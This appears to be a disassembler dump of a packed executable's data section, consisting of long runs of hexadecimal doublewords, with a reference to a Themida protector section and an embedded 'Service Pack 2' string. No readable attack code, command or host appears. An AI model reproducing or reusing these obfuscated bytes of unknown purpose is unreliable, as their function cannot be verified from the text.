		dd 0FC33C232h, 2D2F0F7Fh, 0E1C24C28h, 7D286E8Dh, 169F8954h
		dd 0AA640617h, 9E79024Bh, 65D55416h, 39C54031h,	724B4BBBh
		dd 0F79E595Dh, 7B2A1BC8h, 7CB99E54h, 0CA0FB690h, 0B1169F5Fh
		dd 0EE6BD7E0h, 9EF3291h, 0BD8E169Fh, 5631C592h,	5B8B4274h
		dd 910182AFh, 150C004h,	4FDC0000h, 4571E162h, 1271A248h
		dd 89AA74A2h, 5DCEBC2Ch, 0CC276FDFh, 1086F285h,	0AEE858DBh
		dd 0E571D3E0h, 52381787h, 56689868h, 0A1CFAAEFh, 56EDEF16h
		dd 169C2F33h, 44DF8BAh,	0E7169C2Fh, 0AD11F9D6h,	266A019Ch
		dd 7B79B7D0h, 72DF7h, 1C8CEA00h, 0D747AA79h, 2494F13Eh
		dd 0EE5EE251h, 2A9A1807h, 645F4C4Bh, 30FF9606h,	69B65FCFh
		dd 25FA9B0Bh, 14BF56C6h, 10567B4Ah, 5415169Ch, 57C724E8h
		dd 0E45F7D5Fh, 1086F2BDh, 8E7B6F40h, 4AD9BC2Ch,	7A647AEAh
		dd 86F286CBh, 0ED5DD810h, 5B6CD4A9h, 0EC4FE4AFh, 0A0B5997Ch
		dd 0BE3FFFDAh, 0C19694Eh, 9A3A8BACh, 84AF61D1h,	5DC525E6h
		dd 0D1147591h, 53436CAAh, 2A6CDC5Eh, 248ACB8Fh,	0C45BC5A4h
		dd 4E8138D2h, 0EC89F979h, 0A91334B9h, 7BC97h, 0B5D00000h
		dd 0BCh, 57C724D1h, 3DC92A87h, 724B4BBBh, 2F64595Dh, 80AE5CCCh
		dd 8702D805h, 46792010h, 3920281h, 0E744D02Ch, 614E3F77h
		dd 78D9545Dh, 86E284CDh, 79566710h, 0A3B9A391h,	7CBA2A8Eh
		dd 0E2FF2283h, 0AD7E1086h, 0F8920266h, 86E281CDh, 0E454D710h
		dd 0D040C1B2h, 4BAAE9E6h, 31D8DBDBh, 37A2657Eh,	4DBD3F88h
		dd 624F84A8h, 65276FDFh, 86F2BBDEh, 5E714210h, 71FD7FACh
		dd 8A979F0Fh, 8F80B626h, 9A878FA0h, 0CD6CAA1Ah,	6ECEF9E4h
		dd 8E9A17FEh, 1E1086FAh, 62A71E40h, 91086FAh, 0D1635238h
		dd 5F97A825h, 0FFFFFE6Fh, 69D9545Dh, 0F2ABEE55h, 41521086h
		dd 0AB571A9h, 0D1000003h, 5F57C724h, 86F2C9E4h,	0C939BF10h
		dd 0E858D4CDh, 745BC2AEh, 0E3CA316Fh, 2E9E220Fh, 0B67317E8h
		dd 330C535h, 575F480h, 23133C11h, 86F20DA0h, 98008310h
		dd 72BB7832h, 989EB187h, 203E6E12h, 0A1DF7CA5h,	13949D16h
		dd 0F09A73A3h, 51EFFD0h, 62B7D016h, 57CF054h, 1B9B0000h
		dd 0D455CAABh, 23A29164h, 0EB4DE2B3h, 25859A7Bh, 0C0CBE0B5h
		dd 18FD6DCDh, 6134A40Bh, 730272D2h, 26CF3FBCh, 0CF12B19Dh
		dd 0AE169C16h, 0C7244FEDh, 0F0525F57h, 9B980864h, 9C71A515h
		dd 0EE4DE2B3h, 2A88977Eh, 68AE1E9Eh, 657EB897h,	8CC99505h
		dd 71E5C240h, 907E6C33h, 0BA0DC0F9h, 562DD038h,	620043D0h
		dd 0BF40714Dh, 0E5D09B4Fh, 97A8CB58h, 238E0h, 56D5DE00h
		dd 2BDFB0E6h, 0DE0EAB07h, 0B6E1F6D8h, 0D34B35F1h, 629D08E2h
		dd 0EB0F751Bh, 4DB09944h, 0D3969807h, 211h, 0C20EABE7h
		dd 0DEE0CF3Fh, 86F22267h, 0BEF8C910h, 75F10437h, 7B62CD0Fh
		dd 45B53A77h, 1F8E7C51h, 96971D9Ah, 1E822h, 0EABF600h
		dd 104500DEh, 0E31086F2h, 0B9FAE4D2h, 0F3CCCA3Ah, 0F173AC17h
		dd 95FC0F75h, 1D9A1F2Ah, 0C2229697h, 0F6000001h, 0DE0EABh
		dd 86F21445h, 8D6E710h,	35D545ABh, 9B1C15F7h, 7812EB2Bh
		dd 75F1124Dh, 8934DB0Fh, 971D3DC0h, 197C396h, 24D70000h
		dd 525F57C7h, 0C6F481F1h, 49FCC2F2h, 169BFB11h,	0E9F3CBDCh
		dd 93FB375Ah, 5E5B616h,	0FB61AC07h, 0A30E1693h,	27A00D3Ch
		dd 4F289DBDh, 4000000h,	73E3624Fh, 0E7494A43h, 591D9377h
		dd 0F83EAE0Dh, 0AF162807h, 169BF583h, 0FA6ACDBAh, 0F63861E4h
		dd 0F2C31693h, 335AD9DDh, 0BC1693F6h, 2B886A55h, 0F7B654C4h
		dd 9DBD1E72h, 2A9A1F14h, 0CB7713ECh, 0D1h, 1EE0D401h, 835C2805h
		dd 624F33E7h, 8F7C6EDEh, 697ABC2Ch, 8BFB7D09h, 17999AA4h
		dd 0B99E6FA7h, 0E837E6F4h, 0E14B3F14h, 46F7DAFBh, 39F47CF6h
		dd 846649B9h, 82B42487h, 0D3A21271h, 86369EEEh,	0C1319210h
		dd 0E82D2A34h, 5E83420Dh, 1D10866Ah, 0EF8A2B0Ch, 77477119h
		dd 77FF0C4Fh, 23B285F5h, 91AD8258h, 0EF3291CBh,	8E108697h
		dd 67AF1FA1h, 0F2D1B996h, 169EFFA4h, 397A4455h,	77AC49B9h
		dd 940467F3h, 0FB82ADA2h, 0B7D2F6CCh, 5B1DA58Fh, 0BC000003h
		dd 0EC43D242h, 0AB781D8Dh, 0E43BDA4Ah, 0B2811484h, 9615E050h
		dd 0A8189A15h, 61D156CDh, 0AD1D9F94h, 68D85BC8h, 0B1143A8Dh
		dd 169C1468h, 24EA5213h, 46B63AC6h, 0C5507F50h,	0F89D0D6Eh
		dd 0E3624F34h, 0A04A4373h, 76A01073h, 0E78EFE7Dh, 86F282CAh
		dd 4D995D10h, 273C7AEAh, 6D6254C4h, 8B516D42h, 6155C526h
		dd 860D2774h, 4867CA4Eh, 18ACF76h, 0A0711086h, 8CBDBCAh
		dd 0CBE8169Bh, 0CFBDF969h, 930E2D74h, 0D0FFD016h, 0E0B5863Ah
		dd 57C7245Ch, 81F1525Fh, 0CAF2C6F4h, 0A7CB6522h, 0A5203E67h
		dd 1086847Ch, 3D012EFFh, 9B8D5286h, 8EEE1B16h, 24128202h
		dd 3D12042Bh, 7CA12412h, 916938Dh, 0BF2A1F8Eh, 5F9DBD9Ch
		dd 46B6347Dh, 9385BADFh, 43704116h, 76474FBFh, 29A894h
		dd 0B1A60000h, 6B7698D7h, 74A8429Fh, 3DB0BABh, 9BF5F040h
		dd 7ABC8D16h, 93F1D2FBh, 0C9F49B16h, 0BD1CFD80h, 0C5839Dh
		dd 24970000h, 525F57C7h, 9D9680F0h, 7B68AE1Eh, 61ED88F8h
		dd 9482F250h, 98F4CFBBh, 901086F7h, 0FD32C333h,	0A2080E7Eh
		dd 3590AEDEh, 169BF109h, 2C7A1B2Ch, 52C2408Ch, 617B617Dh
		dd 93FABFE2h, 266D3E16h, 6A6353C3h, 95FD2580h, 9380108Bh
		dd 0D0EEC131h, 72D25EE3h, 143B1402h, 6FD3E076h,	0FF3416FFh
		dd 330C0A7Ah, 0CC58DA57h, 0CEB7FF6Fh, 8B38C6A9h, 0FE351A71h
		dd 330C0A7Ah, 7548811Ch, 1D17B1BEh, 1CD95h, 7CEC4A00h
		dd 0B7278A99h, 84F451DEh, 4EBE42F1h, 8AFA78A7h,	0C4FFACEBh
		dd 101FF666h, 0C9563FAFh, 51AFB6Bh, 745F36A6h, 1AB6DB6Ah
		dd 0B435169Ch, 0DF624F88h, 2C8E7B6Fh, 0E94AD9BCh, 0AB909C79h
		dd 0D903DB0Bh, 0F2194003h, 0D3571086h, 0FEECBD63h, 9BF5939Fh
		dd 9D99AA16h, 0A00182AFh, 93F1FC25h, 81AE7F16h,	0C89FB895h
		dd 2C33571Bh, 588520CAh, 251693C3h, 0A306436Ah,	439DBD4Bh
		dd 0CF67AA19h, 35061693h, 0D0E555h, 4FC10000h, 0C382E362h
		dd 1086F29Eh, 33634C5Dh, 0F2B7DA69h, 65361086h,	1073A04Ah
		dd 5C09EA0h, 1086F2DCh,	32DC8E9Fh, 6551C141h, 86F78EDEh
		dd 99018210h, 624E1ADFh, 96BB8A64h, 5510869Bh, 0B1446B44h
		dd 0CD910182h, 0D3F6CD8Fh, 9A10869Bh, 9BF51C89h, 0A7781086h
		dd 1FDF49C3h, 0C874CFEFh, 6D169B9Dh, 7D52C240h,	3E6E1298h
		dd 77F53E20h, 4C3E0F07h, 8BF2C671h, 9AA47510h, 2A8D1999h
		dd 26E29DBAh, 98FE1D81h, 0F151DEB7h, 40BDFC81h,	90A6B1BDh
		dd 0AD34h, 9C0C6A00h, 57C72AF9h, 0A41471BEh, 6EDE62D1h
		dd 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh
		dd 943FD646h, 1BD6FBCAh, 0D495169Ch, 56C62468h,	0A31370BFh
		dd 0C72466D2h, 0F1525F57h, 0F2C6F481h, 0D1E2FCC2h, 39160070h
		dd 0CF2B7251h, 0F9CA16A1h, 360DCFBDh, 169C2F13h, 246DD8DAh
		dd 0C7169C2Fh, 0E1FED9F6h, 0BDB2C055h, 991A17F3h, 54D74C29h
		dd 0A653B2E4h, 4559B02Ah, 5BD8EFDEh, 96150AEBh,	951B1826h
		dd 6E1CF125h, 0DD4DB3C0h, 0E151B001h, 81280B09h, 8AFA794Eh
		dd 47B734EBh, 8F34Fh, 4FC70000h, 7B6FDF62h, 0CA24A199h
		dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
		dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 57783C7Ah, 0BE56E789h
		dd 4, 835EF701h, 3C8704EFh, 89525C24h, 4C281E2h, 83000000h
		dd 148704EAh, 4895C24h,	5DF26824h, 1C890000h, 6A73B824h
		dd 0C0832766h, 5D8F7FFh, 427D2C07h, 0B46C2935h,	359C3539h
		dd 0B22D4D6Bh, 5469AEBAh, 81241C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 438F2404h, 2434FF08h, 4C4815Bh, 8B000000h, 89522404h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 93B4E95Ch, 0B9F4FFFAh
		dd 18B88C1Dh, 3061AEAh,	81E0FFC5h, 2A646542h, 995E3236h
		dd 0E94867EEh, 0ABh, 820E435h, 94h, 5, 1, 0A28h, 2, 76726553h
		dd 20656369h, 6B636150h, 3220h,	20h dup(0)
		dd 0E9000000h, 0BA0h, 1AECF368h, 92DCE906h, 2F68FFFAh
		dd 0E9061AEEh, 0FFFA92D2h, 1AEF3D68h, 92C8E906h, 0B768FFFAh
		dd 0E9061AEFh, 0FFFA92BEh, 1AF10D68h, 92B4E906h, 6C68FFFAh
		dd 0E9061AF1h, 0FFFA92AAh, 1AF4CA68h, 92A0E906h, 9668FFFAh
		dd 0E9061AF5h, 0FFFA9296h, 20F565E1h, 573EAE13h, 18FD6DC8h
		dd 6035A50Bh, 16FF6FD3h, 13970A81h, 0DA5DD2A3h,	18948B6Ah
		dd 0D556CDA8h, 17479065h, 9C1965ACh, 0B5870816h, 5F57C724h
		dd 0BD81F152h, 0E684F474h, 2F5F1F87h, 0FB7CB40Fh, 3001169Bh
		dd 33A3052Eh, 0B6600A03h, 93FB0E4Fh, 73E36016h,	0A7EA5943h
		dd 461693FBh, 4CBC3E75h, 913CED4Ah, 8E41F852h, 0BD272EBBh
		dd 2AB69Dh, 0ABD20000h,	0AE03DB0Bh, 0C4DDD949h,	31D9F666h
		dd 0F598982Bh, 94A5169Bh, 0F1FA23A2h, 0C831693h, 1D45A8A1h
		dd 0D7CB9DBDh, 0DF000000h, 8757C724h, 0B555C52Ah, 0A0086A77h
		dd 2C976EEDh, 1086DDE5h, 0F3A0B788h, 0C4417262h, 263B7B54h
		dd 288955C5h, 0BADF66C7h, 4110868Dh, 66575F70h,	1A998A84h
		dd 38E6CBAAh, 5F108689h, 7683C67Dh, 3D6A1086h, 734C4ABAh
		dd 9EC3825Ch, 5D108676h, 0E6D9E4Ch, 0CB28F79Eh,	0E752835Bh
		dd 13360D32h, 0DA108608h, 430EEEC9h, 0AF39F397h, 44FFDF0Fh
		dd 169C7B9Ch, 0F5C55061h, 764D1141h, 108B0DB5h,	0D6DBE3B4h
		dd 2211E454h, 256D30A0h, 3EB1BDF5h, 96FBC38h, 97170000h
		dd 60E14E27h, 0AF0E25F0h, 67C9563Fh, 0B1111EF7h, 0B4F7B441h
		dd 6C0979F9h, 35C030B7h, 670E7EFEh, 2ACB3BB8h, 0CB0EB599h
		dd 0B2169C1Eh, 0C6240B31h, 1370BF56h, 2B88D2A3h, 6E5F57C7h
		dd 0BAB987Ch, 0F04003DBh, 8D169BF5h, 0CA947ABCh, 93F1D6FBh
		dd 0E6849516h, 93F196B7h, 5B85F16h, 0BD1CB944h,	1173F9Dh
		dd 5F7D0000h, 93FDBDE4h, 2267DE16h, 0C91693FDh,	677748F8h
		dd 93FDB5DCh, 83673816h, 57C7248Fh, 80F0525Fh, 56BC896h
		dd 0F2F821A4h, 0B2831086h, 10CEED9Dh, 5C1086F6h, 0C4866FDFh
		dd 0ED9D0D6Fh, 0FA57BF3Ch, 474F5DFh, 921A3D12h,	223C13B5h
		dd 724AD335h, 0E95CC874h, 108607A0h, 0B5557A4Bh, 1D4DF177h
		dd 2494F041h, 0E76D1DF2h, 9CF0B45Ch, 58DAD716h,	0DD1AEE8h
		dd 90FA1336h, 21C9DA16h, 0E1C9AC7Dh, 0FF6FD11Dh, 75D00ED0h
		dd 1690FA2Ch, 0FAB3D66Dh, 693A1690h, 3204E6B7h,	7B092B2Ch
		dd 0EA624BA0h, 0B6F5A500h, 0B7881088h, 0B9298AA7h, 18B7807Dh
		dd 160AB777h, 3E73C9A1h, 7AA94CBCh, 0E52C97F8h,	881CAB69h
		dd 0B70598B7h, 0B0B1BD96h, 8333EC6h, 0F3530000h, 0BC3DF283h
		dd 0FB7AA94Ch, 0B335EA8Bh, 0FD7DB243h, 0F8B3E88Dh, 20F565C5h
		dd 593CAC13h, 1BFA6ACAh, 5E37A704h, 0B7DA6975h,	36169C1Ch
		dd 624F87B5h, 9B9872E2h, 8CCEA717h, 0B555C527h,	0EE87F774h
		dd 57C7244Ah, 81F1525Fh, 0FD249FBDh, 801086F2h,	2E5088AFh
		dd 2C59BFDh, 0D99D0D68h, 2E2E95A9h, 4F16A13Eh, 0F053607Eh
		dd 79D0F580h, 0A2169D3Fh, 3CC009BCh, 0A2AB169Dh, 98FC1B7Dh
		dd 402A05ADh, 0DF5DA95Ah, 0CB5406Fh, 2149ED04h,	71BFA63Ch
		dd 0B787A821h, 8075040Ch, 0BF3C6910h, 279E604Fh, 0A87F7127h
		dd 8E508040h, 6056C625h, 0ADF44F6Fh, 508F7F62h,	93C98B7Fh
		dd 0BEAC1C9Eh, 658ACFDFh, 53F2EC89h, 0B6884A0Eh, 4302DCEDh
		dd 0B6884A1Eh, 7A1ECCDDh, 3BFB6DA9h, 4A66AB1Ah,	3405B688h
		dd 8180431Bh, 7AB091DCh, 4A4CBC39h, 10219575h, 0FA86E54Eh
		dd 1B8BED79h, 220D0234h, 0EF5FDC53h, 0C4062E0Eh, 2B87AD11h
		dd 725h, 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh
		dd 967FEF53h, 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h
		dd 97C710E5h, 9C1DE52Ch, 35078816h, 3DB0BABh, 0A1DCDC40h
		dd 90F23F16h, 45564A20h, 49B93879h, 53986075h, 1A339025h
		dd 9C3E66ABh, 1B340516h, 0AA0F246Fh, 2112FC3Ah,	3CAC139Fh
		dd 0D2A05FAh, 657EF0EFh, 0DD4E3C55h, 290FEE5Eh,	0B6B7D0C2h
		dd 6AB44C0h, 5BDB0000h,	94150AEBh, 63E25124h, 0AB0D22F3h
		dd 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh, 33C23292h
		dd 660F7FFCh, 8FD2715Dh, 6E169C1Dh, 0BAB8FADh, 0DC4003DBh
		dd 0A116A1DCh, 18FD249Fh, 0AF80169Ch, 25A0BE80h, 169C18FCh
		dd 0A31D8DF2h, 4D66F892h, 0B3977EEEh, 18F71AA9h, 0B114169Ch
		dd 169C1868h, 8D9E0213h, 0D606B3DDh, 18603D08h,	0B6E3169Ch
		dd 0FBD4C232h, 3B63E2D4h, 0C4169C18h, 82E7624Dh, 0A9DC308h
		dd 48h,	0DE0EAB1Eh, 0F2104500h,	0D2E31086h, 0DCADCB0Ch
		dd 13598043h, 13241086h, 5D37C044h, 6890417Ah, 36D442F1h
		dd 9E1D16F8h, 3C613C2Eh, 0C91086A8h, 7FEA5F4Eh,	1F97A878h
		dd 4D3DAD12h, 7EDh, 0F0B5C900h,	0D1000001h, 93B68D4Fh
		dd 5A1086F2h, 10FEA149h, 6ED11DE1h, 0DDF262E2h,	0F3CBE4D9h
		dd 0FB6BC8E9h, 7D28C2BBh, 169BFB95h, 8C37C7D8h,	0C624ABFFh
		dd 0C698C878h, 23A3AFFFh, 999DAEA3h, 0F71AA9B3h, 76AB5213h
		dd 2BCBC5A5h, 0E160E3FBh, 7CAD4B85h, 93C993ABh,	0FAAB1B9Eh
		dd 0D16BA1D7h, 24E58596h, 2A8757C7h, 705E58C8h,	6BA18CD5h
		dd 715E6FD1h, 6350FA99h, 484571E1h, 0A21271A2h,	0FDDEEFDBh
		dd 8202F4FBh, 555h, 9065D531h, 0C7AE1EA3h, 886DDD58h, 0D0A5159Bh
		dd 866FDF63h, 0C3279A11h, 0A6DC253h, 0C824FB9Ah, 566BD58h
		dd 7D70095h, 9C03153Ch,	2517D816h, 5F57C724h, 0E9F525D9h
		dd 9BFC5A5Ah, 2BCADB16h, 9ABD361Fh, 481CDD1Ch, 0F70EA86Fh
		dd 0AF5BD644h, 0C910182h, 0B7D55716h, 0F65FE3D1h, 90000004h
		dd 2FC636h, 0AF841181h,	0E837DE4Eh, 0A67D1888h,	6A41D444h
		dd 9C0C6E21h, 55C52AF9h, 0A11173C0h, 6CDC5FD4h,	0B5103E89h
		dd 169C036Ch, 4FAE8E0Fh, 4670E062h, 1370A149h, 2C19BA3h
		dd 1086F2DFh, 2FDD8D9Eh, 8D51C142h, 6056C624h, 0F6917B6Fh
		dd 86CB7A64h, 651086F2h, 0D4FBB654h, 15F6391Eh,	8A023335h
		dd 60D033E0h, 599D2095h, 492397A8h, 19000000h, 1C90893Ch
		dd 0FEEC9671h, 0E1624F16h, 5F1F9971h, 10B40F2Fh, 25169BFBh
		dd 7AA32214h, 6C1693FBh, 0A872A911h, 68277DD9h,	0DD624F47h
		dd 2280C97Ch, 5A6B1693h, 46AD4175h, 33DE4C97h, 0EA30BD8Ch
		dd 50B89DBDh, 0D4000000h, 3DB0BABh, 0F2276AD9h,	0F5C61086h
		dd 0BB843F15h, 0BA169C41h, 0AA07D5E9h, 31D949h,	41841181h
		dd 1693A21Dh, 4588F053h, 98DAE813h, 0E4FAC4EBh,	93573861h
		dd 18F2C316h, 0D343A67Dh, 0B250CA0Bh, 5166D655h, 9971B152h
		dd 3EB179Bh, 4FF30000h,	0F293B68Dh, 495A1086h, 1747F7A1h
		dd 0F6D87C47h, 9B9D169Bh, 93F6E128h, 9CBB8C16h,	0CF76E8F7h
		dd 0CDC9E6B2h, 0AFE757D4h, 0ED05B83Fh, 480D54EFh, 0CA871693h
		dd 0ECA0E944h, 0DE8C9D03h, 0AD404B4h, 942071CDh, 4F3BE4A2h
		dd 0C80DCF0Dh, 1EE6F8C7h, 0EB2E9786h, 921693FDh, 1ABAE981h
		dd 0DB108EF9h, 77F42BCAh, 84D0F07h, 834C7FA1h, 4A701A0Ch
		dd 0CD784676h, 1AB6914Dh, 12820330h, 1F30A021h,	1BA70A17h
		dd 1CF12595h, 8AEE0333h, 1D841C1Ah, 0A51431B2h,	0BE2E8D3Ah
		dd 0FF2FCFD7h, 0B65464DFh, 0BCE904A3h, 0DDE1CE3Eh, 6E454D4h
		dd 0AD184608h, 8D23664h, 0D7543607h, 0FC6CC854h, 0ACEAC5BAh
		dd 856D60C9h, 0BF42CE2Ch, 5976474Fh, 73707B1h, 0C22C8C37h
		dd 40510EC8h, 8DFD7EB5h, 930380B1h, 0C6243DF7h,	2ABBDE65h
		dd 71420EEFh
		dd 61C8585Eh, 6ADA596Eh, 2B5B1B8Bh, 0D1A0B013h,	0CCDD08F5h
		dd 0EA5AD9CAh, 0AC05C9ACh, 0E5DADC4Ch, 2B238A05h, 59835B8Bh
		dd 299C083h, 626434F8h,	0F802BEE3h, 436C3D34h, 0F91CFCA7h
		dd 506132E2h, 9D0D6EC5h, 0CA2B8899h, 12FAD6FBh,	0B384953Ah
		dd 11DB357Ch, 9FBF900Dh, 0D3C33392h, 0D98510FAh, 0F0FBBDFCh
		dd 96744F51h, 122C5C1Ch, 0FA97FB3h, 0E92DFE3Ch,	2FA9438Ah
		dd 5A852C20h, 0A4149B98h, 0BEED9D72h, 0C851793Bh, 0E656D6DBh
		dd 0F2BDFB0h, 29h, 0DB0BAB2Bh, 0F5F04003h, 0BC8D169Bh
		dd 7BC3947Ah, 1718C225h, 8BD2F199h, 74169358h, 0B23712BDh
		dd 3A9DBDC3h, 0E9h, 57C7244Eh, 80F0525Fh, 2F96C896h, 1086F2EAh
		dd 29EA8091h, 475C5ACAh, 0DEE97CE4h, 9199CBCh, 0B4724F26h
		dd 0B8108655h, 0F52ACB3Bh, 1686EA76h, 630A01Dh,	8AF02609h
		dd 0A7086AB6h, 8655F51Ch, 88A77810h, 0C09EB18Eh, 9B533905h
		dd 0CB733C16h, 2EA6F203h, 1945D0FFh, 0E5598043h, 13241693h
		dd 4D7D4177h, 52C24071h, 0BD7F6B64h, 8B8AC206h,	0C49AAB10h
		dd 0A919999Ah, 39FA906Dh, 0A4ED58B9h, 0DE1CAA30h, 0D61D928Ch
		dd 0C2D34DE7h, 61E0D1EDh, 50ACC5F1h, 0F6D9B6E0h, 48AA7914h
		dd 4C3945D8h, 94A2B1BEh, 19830h, 2090EE00h, 0EB5BDE55h
		dd 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h,	24FB9A0Ah
		dd 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 65A7F46h, 6021169Ch
		dd 56C624DCh, 0A31370BFh, 0C52B88D2h, 7E6C6155h, 0DB0BAB96h
		dd 57D8D903h, 989803E7h, 0A5169BF5h, 0FA23A294h, 831693F1h
		dd 45A8A10Ch, 0CB9DBD1Dh, 0ACh,	57C724DFh, 55C52A87h, 907E6C61h
		dd 67AF1FA3h, 86F65E0Ch, 0C1319210h, 1B7CFF34h,	0F75F8241h
		dd 0D1E1086h, 86F77198h, 42BFC10h, 0A8D8A812h, 0F10F2F96h
		dd 1D2E169Bh, 5FDDD678h, 0A9720AF7h, 0A28DB736h, 1B989B74h
		dd 25D9BFABh, 0D95AE9F5h, 58108B95h, 0B83A7747h, 0F476AD48h
		dd 7EE7F984h, 0FEF8B1BEh, 0CC76h, 0CC3CBA00h, 777FA29h
		dd 0D444C16Eh, 1E8EF241h, 0DA4AA877h, 742F5C3Bh, 40EF86F6h
		dd 79A64FBFh, 35EA8BFBh, 24AF46B6h, 7468B3Ah, 6425169Ch
		dd 56C624D8h, 0A31370BFh, 0EF5688D2h, 1086F2AAh, 72AA4051h
		dd 407D864Fh, 7058353Ch, 0B21A999Ah, 22D59D74h,	0A096B9EAh
		dd 35C03093h, 0BD81B185h, 0A12B1A06h, 64526316h, 47B7397Ah
		dd 950566A3h, 60D03300h, 0E715CF36h, 4DD418DAh,	96066562h
		dd 0D4565BFFh, 7A5D3264h, 0ABCF2FDEh, 0DB58323Ch, 0B5AEE858h
		dd 0DED3C333h, 0B6ABEB5Bh, 5FCFC737h, 0C7FEE5D8h, 0DB586F5Eh
		dd 73C08A6Bh, 9875A111h, 52C241F2h, 13E064h, 4FBC0000h
		dd 5BCA5A86h, 43883E61h, 74A7EA7Eh, 339D1FEh, 5ACA24F7h
		dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h
		dd 66D65A47h, 52C24330h, 7AEA4F64h, 6568783Ch, 8900000Ch
		dd 0BA522424h, 4, 4245401h, 0E089505Ah,	405h, 4E88300h
		dd 5C240487h, 57240C89h, 0C781E789h, 4,	4EF81h,	3C870000h
		dd 1C895C24h, 4EC8124h,	89000000h, 0C1BB241Ch, 0B9298B5Ch
		dd 2FA6487Eh, 685BD929h, 5FEFh,	83242489h, 5B042404h, 8BA52h
		dd 0DA010000h, 89CD8955h, 0FF5A5D2Ah, 815B2434h, 4C4h
		dd 2434FF00h, 4C48359h,	0FA8749E9h, 5A60ABFFh, 1AF687B8h
		dd 0FFC50306h, 8456B7E0h, 237A8447h, 24C98C03h,	0EAC9944Ch
		dd 0AF3C4915h, 98BECA7Fh, 6F84D36Eh, 0CAD70529h, 0D2DDF54Eh
		dd 0AAAB5358h, 65BBE979h, 24EB22h, 8 dup(0)
		dd 0E9000000h, 0BDh
dword_5D919C	dd 0F744B589h, 858B061Ah, 6152DB5h, 96D858Bh, 0B58D0615h
					; DATA XREF: Themida_:0057B45Co
		dd 61AF78Eh, 4559858Dh,	0D0FF0618h, 0E855C3h, 5D000000h
		dd 0F794ED81h, 0BD83061Ah, 6152DB5h, 2C850F01h,	0FF000000h
		dd 1AF744B5h, 6D858B06h, 35061509h, 34812736h, 13CD0FFh
		dd 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h, 6A000000h
		dd 48B58D1Ch, 56061AF7h, 0F744B5FFh, 858B061Ah,	615096Dh
		dd 81273635h, 83D0FF34h, 0B58D0CC4h, 61AF748h, 8314468Bh
		dd 0F88304E0h, 7840F04h, 33000000h, 5E9C0h, 1B80000h, 83000000h
		dd 152DB5BDh, 850F0106h, 7, 2E9C35Dh, 5D000000h, 6D858DCFh
		dd 89061AF7h, 151A2D85h, 8E806h, 7EFC0000h, 0D7ABEDAEh
		dd 8B66CED2h, 12E85ED1h, 33000000h, 97D6F9D4h, 0D61584AEh
		dd 3943875Bh, 75F29051h, 0C2BF0F89h, 63C68158h,	6600006Dh
		dd 26BFD68Bh, 8A00001Bh, 660E8BFAh, 0E981D88Bh,	68E6BF33h
		dd 38F0Fh, 8B660000h, 58F181C2h, 0B633EFAAh, 0A1E98144h
		dd 5133A5E0h, 0EE9h, 0F2CB200h,	7A8CA218h, 0A7C0D1C7h
		dd 8FD4F8E2h, 690BB06h,	0EE815EC1h, 9953B0Fh, 12E9h, 586D3400h
		dd 85D6278Bh, 49C6ED0Bh, 0E07272A4h, 812541AAh,	953B0BC6h
		dd 13E909h, 0A6BF0000h,	0D572997Fh, 0D247C36Eh,	0C2E2C11Eh
		dd 0E4F3E0B1h, 1EF83A7h, 0FF7F850Fh, 0EE8FFFFh,	7E000000h
		dd 6EC042C1h, 0CA40A000h, 6EB9F94h, 0D78B6651h,	38D8D5Bh
		dd 6A061AFAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0A643C355h, 218D897Bh,	60061527h
		dd 95292DB4h, 6150709h,	0CD85C761h, 0CC061504h,	6A000071h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 742DC356h, 0F4377FA4h, 0BF6677D1h, 85C799B1h
		dd 6151115h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F7C35343h
		dd 61BD01AAh, 0F06152Ah, 0F89h,	0AE900h, 529F0000h, 3554C198h
		dd 59662652h, 9B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0F78052C3h, 89928945h
		dd 150BF1BDh, 358D8906h, 0E8061522h, 8,	4B84D490h, 9797C5ABh
		dd 0C995FF5Fh, 66061502h, 6AF622BBh, 2195FF00h,	8B06152Eh
		dd 544DEBC0h, 3BCAA122h, 2E8BB10Fh, 4623C141h, 9BB23EE0h
		dd 0D4142C8h, 5AC2D53Eh, 3E991C9h, 2FDED5A2h, 0C21F4CAEh
		dd 0FBFBDCCh, 0B3980475h, 1BD07FA7h, 6CEBBDE0h,	90C9FB1Eh
		dd 665E581Ah, 809CF281h, 4C526BD1h, 35616EE3h, 2E3A5ADDh
		dd 2CE9h, 0B747A400h, 6C000011h, 2, 8 dup(0)
		dd 0C3AE900h, 3B680000h, 0E9061AFCh, 0FFFB4E48h, 1AFD3868h
		dd 4E3EE906h, 0BB68FFFBh, 0E9061AFEh, 0FFFB4E34h, 1AFFB368h
		dd 4E2AE906h, 7468FFFBh, 0E9061B00h, 0FFFB4E20h, 1B023B68h
		dd 4E16E906h, 0D668FFFBh, 0E9061B02h, 0FFFB4E0Ch, 1B042C68h
		dd 4E02E906h, 2968FFFBh, 0E9061B05h, 0FFFB4DF8h, 91F38A6Bh
		dd 97B02E6h, 93F5887Eh,	0F81FCE8h, 9DEF8E84h, 5C4EA81Eh
		dd 0EBE4AF21h, 64473292h, 0E1CCB719h, 77742C9Ch, 23E4DA77h
		dd 73CBBAA7h, 0C7DE9F86h, 0AD3A432Ah, 0FABBA51Eh, 1806DBA1h
		dd 0A62C978Dh, 1C6CC26Bh, 25C211AFh, 539FFD49h,	79F019B3h
		dd 299ECC8Dh, 7E0F1CA7h, 0A1331186h, 24436948h,	0EE9D544Dh
		dd 0F84C70C3h, 0A7C56D0Eh, 0D4B2C13Bh, 0A7298285h, 1D0C6217h
